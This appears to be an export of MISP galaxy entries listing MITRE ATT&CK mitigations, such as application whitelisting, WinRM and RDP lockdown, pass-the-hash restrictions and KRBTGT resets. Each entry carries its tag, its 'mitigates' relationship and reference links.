Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Remote System Discovery Mitigation - T1018"

Remote System Discovery Mitigation - T1018 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 2744. Table References
Links
https://attack.mitre.org/mitigations/T1018
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Indirect Command Execution Mitigation - T1202

Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)

The tag is: misp-galaxy:mitre-course-of-action="Indirect Command Execution Mitigation - T1202"

Indirect Command Execution Mitigation - T1202 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 2745. Table References
Links
https://attack.mitre.org/mitigations/T1202
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

XSL Script Processing Mitigation - T1220

[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="XSL Script Processing Mitigation - T1220"

XSL Script Processing Mitigation - T1220 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"

Table 2746. Table References
Links
https://attack.mitre.org/mitigations/T1220

Standard Cryptographic Protocol Mitigation - T1032

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Standard Cryptographic Protocol Mitigation - T1032"

Standard Cryptographic Protocol Mitigation - T1032 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2747. Table References
Links
https://attack.mitre.org/mitigations/T1032
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Custom Cryptographic Protocol Mitigation - T1024

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Custom Cryptographic Protocol Mitigation - T1024"

Custom Cryptographic Protocol Mitigation - T1024 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 2748. Table References
Links
https://attack.mitre.org/mitigations/T1024
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

System Information Discovery Mitigation - T1082

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Information Discovery Mitigation - T1082"

System Information Discovery Mitigation - T1082 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 2749. Table References
Links
https://attack.mitre.org/mitigations/T1082
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Remote Management Mitigation - T1028

Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)

The tag is: misp-galaxy:mitre-course-of-action="Windows Remote Management Mitigation - T1028"

Windows Remote Management Mitigation - T1028 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"

Table 2750. Table References
Links
https://attack.mitre.org/mitigations/T1028
https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm

Commonly Used Port Mitigation - T1043

The tag is: misp-galaxy:mitre-course-of-action="Commonly Used Port Mitigation - T1043"

Commonly Used Port Mitigation - T1043 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 2751. Table References
Links
https://attack.mitre.org/mitigations/T1043
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Security Software Discovery Mitigation - T1063

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Security Software Discovery Mitigation - T1063"

Security Software Discovery Mitigation - T1063 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 2752. Table References
Links
https://attack.mitre.org/mitigations/T1063
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Network Service Scanning Mitigation - T1046

Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Network Service Scanning Mitigation - T1046"

Network Service Scanning Mitigation - T1046 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 2753. Table References
Links
https://attack.mitre.org/mitigations/T1046
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Management Instrumentation Mitigation - T1047

Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)

The tag is: misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Mitigation - T1047"

Windows Management Instrumentation Mitigation - T1047 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 2754. Table References
Links
https://attack.mitre.org/mitigations/T1047
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Application Isolation and Sandboxing - M1048

Restrict execution of code to a virtual environment on or in transit to an endpoint system.

The tag is: misp-galaxy:mitre-course-of-action="Application Isolation and Sandboxing - M1048"

Application Isolation and Sandboxing - M1048 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"

Table 2755. Table References
Links
https://attack.mitre.org/mitigations/M1048

Inhibit System Recovery Mitigation - T1490

Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

The tag is: misp-galaxy:mitre-course-of-action="Inhibit System Recovery Mitigation - T1490"

Inhibit System Recovery Mitigation - T1490 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 2756. Table References
Links
https://attack.mitre.org/mitigations/T1490
https://www.ready.gov/business/implementation/IT
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Uncommonly Used Port Mitigation - T1065

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

The tag is: misp-galaxy:mitre-course-of-action="Uncommonly Used Port Mitigation - T1065"

Uncommonly Used Port Mitigation - T1065 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"

Table 2757. Table References
Links
https://attack.mitre.org/mitigations/T1065
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Pass the Hash Mitigation - T1075

Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary’s ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

The tag is: misp-galaxy:mitre-course-of-action="Pass the Hash Mitigation - T1075"

Pass the Hash Mitigation - T1075 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"

Table 2758. Table References
Links
https://attack.mitre.org/mitigations/T1075
https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml

Remote Desktop Protocol Mitigation - T1076

Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)

The tag is: misp-galaxy:mitre-course-of-action="Remote Desktop Protocol Mitigation - T1076"

Remote Desktop Protocol Mitigation - T1076 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"

Table 2759. Table References
Links
https://attack.mitre.org/mitigations/T1076
https://security.berkeley.edu/node/94
https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx

NTFS File Attributes Mitigation - T1096

It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)

The tag is: misp-galaxy:mitre-course-of-action="NTFS File Attributes Mitigation - T1096"

NTFS File Attributes Mitigation - T1096 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"

Table 2760. Table References
Links
https://attack.mitre.org/mitigations/T1096
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks

Permission Groups Discovery Mitigation - T1069

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Permission Groups Discovery Mitigation - T1069"

Permission Groups Discovery Mitigation - T1069 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

Table 2761. Table References
Links
https://attack.mitre.org/mitigations/T1069
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Admin Shares Mitigation - T1077

Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Windows Admin Shares Mitigation - T1077"

Windows Admin Shares Mitigation - T1077 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 2762. Table References
Links
https://attack.mitre.org/mitigations/T1077
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Pass the Ticket Mitigation - T1097

Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Pass the Ticket Mitigation - T1097"

Pass the Ticket Mitigation - T1097 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"

Table 2763. Table References
Links
https://attack.mitre.org/mitigations/T1097
https://adsecurity.org/?p=556
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Disabling Security Tools Mitigation - T1089

Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.

The tag is: misp-galaxy:mitre-course-of-action="Disabling Security Tools Mitigation - T1089"

Disabling Security Tools Mitigation - T1089 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"

Table 2764. Table References
Links
https://attack.mitre.org/mitigations/T1089

Space after Filename Mitigation - T1151

Prevent files from having a trailing space after the extension.

The tag is: misp-galaxy:mitre-course-of-action="Space after Filename Mitigation - T1151"

Space after Filename Mitigation - T1151 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151" with estimative-language:likelihood-probability="almost-certain"

Table 2765. Table References
Links
https://attack.mitre.org/mitigations/T1151

Credentials in Registry Mitigation - T1214

Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.

The tag is: misp-galaxy:mitre-course-of-action="Credentials in Registry Mitigation - T1214"

Credentials in Registry Mitigation - T1214 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"

Table 2766. Table References
Links
https://attack.mitre.org/mitigations/T1214

System Time Discovery Mitigation - T1124

Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation - T1124"

System Time Discovery Mitigation - T1124 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 2767. Table References
Links
https://attack.mitre.org/mitigations/T1124
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Browser Bookmark Discovery Mitigation - T1217

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Browser Bookmark Discovery Mitigation - T1217"

Browser Bookmark Discovery Mitigation - T1217 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 2768. Table References
Links
https://attack.mitre.org/mitigations/T1217
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Trusted Developer Utilities Mitigation - T1127

MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.

Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)

The tag is: misp-galaxy:mitre-course-of-action="Trusted Developer Utilities Mitigation - T1127"

Trusted Developer Utilities Mitigation - T1127 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 2769. Table References
Links
https://attack.mitre.org/mitigations/T1127
https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md
http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html
https://github.com/mattifestation/DeviceGuardBypassMitigationRules

Netsh Helper DLL Mitigation - T1128

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)

The tag is: misp-galaxy:mitre-course-of-action="Netsh Helper DLL Mitigation - T1128"

Netsh Helper DLL Mitigation - T1128 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128" with estimative-language:likelihood-probability="almost-certain"

Table 2770. Table References
Links
https://attack.mitre.org/mitigations/T1128
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Remote Access Tools Mitigation - T1219

Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.

The tag is: misp-galaxy:mitre-course-of-action="Remote Access Tools Mitigation - T1219"

Remote Access Tools Mitigation - T1219 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 2771. Table References
Links
https://attack.mitre.org/mitigations/T1219

External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.

The tag is: misp-galaxy:mitre-course-of-action="External Remote Services Mitigation - T1133"

External Remote Services Mitigation - T1133 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 2772. Table References
Links
https://attack.mitre.org/mitigations/T1133

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"

Access Token Manipulation Mitigation - T1134 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

Table 2773. Table References
Links
https://attack.mitre.org/mitigations/T1134
https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object
https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token

Network Share Discovery Mitigation - T1135

Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Network Share Discovery Mitigation - T1135"

Network Share Discovery Mitigation - T1135 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

Table 2774. Table References
Links
https://attack.mitre.org/mitigations/T1135
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
